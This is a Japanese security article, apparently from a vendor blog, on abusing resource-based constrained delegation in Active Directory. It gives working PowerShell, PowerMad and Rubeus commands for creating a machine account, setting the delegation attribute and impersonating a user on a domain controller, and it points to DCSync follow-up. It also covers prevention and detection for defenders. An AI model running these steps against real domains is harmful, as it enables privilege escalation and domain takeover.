リソースベースの制約委任の悪用

ほとんどの IT 管理者にとって、委任（Delegation）は混乱しやすく、複雑です。 Active Directory では 非制約委任（unconstrained delegation）、制約委任（constrained delegation）、およびリソースベースの制約委任（resource-based constrained delegation、RBCD）が提供されます。

この記事では、リソースベースの制約委任が前身よりもなぜ安全なのか—そしてそれでもなお、悪用されて横方向の移動（lateral movement）や 特権昇格（privilege escalation） の手段として利用され得ることを解説します。具体的には、攻撃者がリソースベースの制約委任と、いくつかの設定不備のある Active Directory 権限を悪用して、Active Directory 上にコンピューター アカウントを作成するシナリオを説明します。

最後に、攻撃手順のコードと、Kerberos delegationの3種類について詳しく説明するFAQを用意しています。

RBCD の基礎

Windows Server 2012 以降、リソースベースの制約付き委任は、リソースまたはコンピューター アカウント自体で構成できます。これは、リソースにアクセスするアカウント上で構成される他の種類の委任とは異なります。リソースベースの委任は msDS-AllowedToActOnBehalfOfOtherIdentity 属性によって制御されます。この属性には、リソースにアクセスできるオブジェクトのセキュリティ記述子が保存されます。

この委任モデルは、従来のものよりなぜ優れているのでしょうか？ Microsoft は次のように説明しています。「ドメイン間で制約付き委任をサポートすることで、サービスは、無制約の委任を使用するのではなく、制約付き委任を使用して他のドメイン内のサーバーに認証するように構成できます。これにより、既存の Kerberos のインフラストラクチャを利用しつつ、前面（フロントエンド）のサービスが任意のサービスへ委任することを信頼する必要がなくなるため、ドメイン間のサービス ソリューション全体にわたる認証サポートが提供されます。」

攻撃の概要

リソースベースの制約付き委任攻撃を実行するには、攻撃者は次のことを行う必要があります。

• msDS-AllowedToActOnBehalfOfOtherIdentity 属性に、自分が制御しているコンピューター アカウントを設定します。
• アクセスしたいオブジェクトに設定されている SPN を把握していること

既定ではすべてのユーザーが 10 個のコンピューター アカウント（MachineAccountQuota）を作成できるため、これらの作業は権限のないアカウントからでも簡単に実行できます。攻撃者に必要なのは、構成が不十分な Active Directory の権限により、対象コンピューター上の属性を書き込めることだけです。

これを達成し、素早い概念実証（PoC）を示すために、以下のシナリオで次のツールを使用します：

1. Active Directory の権限が不適切に設定されていたため、Windows 10 ホスト上の非特権アカウントが、ドメインコントローラー上の msDS-AllowedToActOnBehalfOfOtherIdentity 属性を書き込むことにアクセスできる状態でした。そこで、そのアカウントを侵害しました。
2. PowerMad を使って新しいコンピューターアカウントを作成します（デフォルトの MachineAccountQuota 値により許可されています）。
3. 作成したコンピューターアカウントを含むセキュリティ記述子（security descriptor）を保持するように、msDS-AllowedToActOnBehalfOfOtherIdentity 属性を設定します。
4. Rubeus を利用して、リソースベースの制約付き委任（resource-based constrained delegation）を悪用します。

ステップ 1. 危殆化したアカウントのアクセス権を確認します。

まず、攻撃者として私たちがアクセスできるようになったアカウントを確認しましょう。SBPMLABnonadmin は、そのマシン上でローカル管理者権限を持つだけの通常のドメイン ユーザー アカウントです。下のスクリーンショットでは、現在の権限では SBPMLAB-DC2 の C$ 管理共有に UNC で接続できないことが示されています：

Active Directory 内の権限やオブジェクトを列挙するツールを使用することで、私たちがいくらかの権限を持っているドメイン コントローラーを発見できます。これが次のターゲットです。以下の PowerShell スクリプトは、対象マシン上で特定のユーザー SID が Full Control、Write、Modify Permissions、または Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity を持つ箇所を特定します。

ステップ 2. 新しいコンピューター アカウントを作成します。

必要な属性を入力（設定）するために、その属性を変更できることが分かった今、更新を実行するために制御しているコンピューター アカウントが必要です。MachineAccountQuota の値がデフォルトのまま残っているため、 PowerMad を使用して、パスワード ThisIsATest の RBCDMachine というコンピューター アカウントを作成できます:

ステップ 3. アカウントが別のアイデンティティの代わりに動作できるようにします。

次に、msDS-AllowedToActOnBehalfOfOtherIdentity 属性を、作成したコンピューター アカウントのセキュリティ記述子（security descriptor）を含むように設定し、こちらで権限を持っている DC の msDS-AllowedToActOnBehalfOfOtherIdentity 属性を以下のように入力する必要があります：

あとは、RBCDMachine アカウントの ‘ThisIsATest’ パスワードのハッシュを取得するだけです：

RBCDMachine アカウントのパスワード ハッシュ

ステップ 4. Rubeus を活用して RBCD を悪用します。

これで、Rubeus を使ってリソースベースの制約付き委任（resource-based constrained delegation）を悪用するために必要なものはすべて揃いました。ここまでに集めた内容を振り返ります：

• なりすましたいユーザー
• 作成した RBCDMachine$ アカウント。これは、ターゲットの DC の msDS-AllowedToActOnBehalfOfOtherIdentity 属性に設定されています
• RBCDMachine$ アカウントのパスワードのハッシュ（0DE1580972A99A216CED8B058300033F）
• ターゲットのドメイン コントローラーに対してアクセス権を取得したい servicePrincipalName

この情報を使用して、Rubeus で次のコマンドを実行し、チケットをメモリにインポートできます。:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

klist を使用すると、サービス チケットが正常にインポートされたことを確認できます。これで、ドメイン コントローラー上の SBPMLAB-DCC$ 管理共有に正常に移動し、その内容を一覧表示できます。:

次の手順

対象のドメイン コントローラー上の管理共有にアクセスできたら、永続化を確実にしたり、さらに特権を引き上げたりするための手順を取ることができます。たとえば NTDS.dit ファイルを侵害すること。

別の方法として、Rubeus コマンド内の msdsspn パラメータを変更して LDAP サービスへのアクセスを要求し、それを活用して DCSync attack を実行し、 krbtgt アカウントを乗っ取る ことができます。

LDAP サービスのキャッシュされたチケットは次のとおりです：

そして、LDAP へのアクセスを取得した後に DCSync を実行する方法は次のとおりです：

攻撃の検知と防止

この種の攻撃を防ぐための戦略をいくつか明らかにするために、私たちが行った手順を手短に振り返ります：

1. 私たちは、ドメイン コントローラーの「msDS-AllowedToActOnBehalfOfOtherIdentity」属性を変更できる能力を持つアカウントを乗っ取りました。
2. デフォルトの MachineAccountQuota 設定を活用して、コンピューター アカウントを作成しました。
3. 私たちは、作成したマシン アカウントで、その属性を設定しました。
4. 私たちは Rubeus を使用して、DC 上の LDAP サービス向けのチケットを要求しました。
5. 私たちは DCSync を実行して、krbtgt アカウントを引き継ぐことができました。

予防

これらの事象の一部を、お使いの環境で発生させないためにはどうすればよいでしょうか？

• Active Directory の権限を理解し、適切にロックダウンしてください。 Active Directory に誰がアクセスできるかを把握することは、安全に保つうえで非常に重要です。コンピューター オブジェクトの属性を変更できることは、攻撃者が環境を悪用するための手段の一つにすぎません。さらに、環境内の他のユーザーのグループ メンバーシップを変更したり、パスワードをリセットしたりできる能力も、同様に大きな被害につながり、BloodHound のようなツールを使えばはるかに悪用しやすくなります。Netwrix Active Directory Security Solution をご覧いただき、AD を安全に構成できるようにする方法、過剰なアクセス権やシャドウ管理者を特定する方法、そして高度な攻撃をリアルタイムに検出・防止する方法を確認してください。
• 委任してはいけない機密アカウントが、そのようにマークされていることを確認してください。 ユーザーを Protected Users グループに追加するか、「Account is sensitive and cannot be delegated」オプションを有効にすると、リソース制約付き委任攻撃をその場で止められます。

検出

リソースが制限された委任（resource-constrained delegation）攻撃を検出するには、次の手順を実行できます：

• 非管理者ユーザーによって作成されるコンピューター アカウントを監視する。非管理者ユーザーがコンピューター アカウントを作成すると属性「mS-DS-CreatorSID」が設定されるため、次のコマンドでそれらのアカウントを特定できます：

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

コード

• 所有しているアカウント（$myaccount）について、対象のコンピューター（$target）の権限を特定します：

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• ドメインの MachineAccountQuota 設定を確認し、PowerMad を使用してコンピューター アカウントを作成します：

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• msDS-AllowedToActOnBehalfOfOtherIdentity 属性を、作成した新しいコンピューターで更新します：

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• コンピューター アカウントに設定したパスワードのハッシュを取得します：

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Rubeus を使用して RBCD の悪用を実行します：

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

よくある質問

Kerberos の委任とは何ですか？

Kerberos delegation の実用的な使い方は、別のユーザーに代わって、別のサーバー上にホストされているリソースにアプリケーションまたはサービスがアクセスできるようにすることです。

無制限の委任（unconstrained delegation）はどのように機能しますか？

無制限の Kerberos delegation により、アプリケーションまたはサービスは、任意で選択した別のサービスに対して、対象ユーザーになりすます（impersonate）ことができます。

制限付きの委任（constrained delegation）はどのように機能しますか？

制限付きの委任では、アカウントをどのサービスに委任できるかを構成できます。S4U2proxy は Kerberos Constrained Delegation の拡張機能です。

リソースベースの制約付き委任はどのように動作しますか？

どのオブジェクトがどのサービスに委任できるかを指定する代わりに、サービスをホストするリソースが、どのオブジェクトがそれに委任できるかを指定します。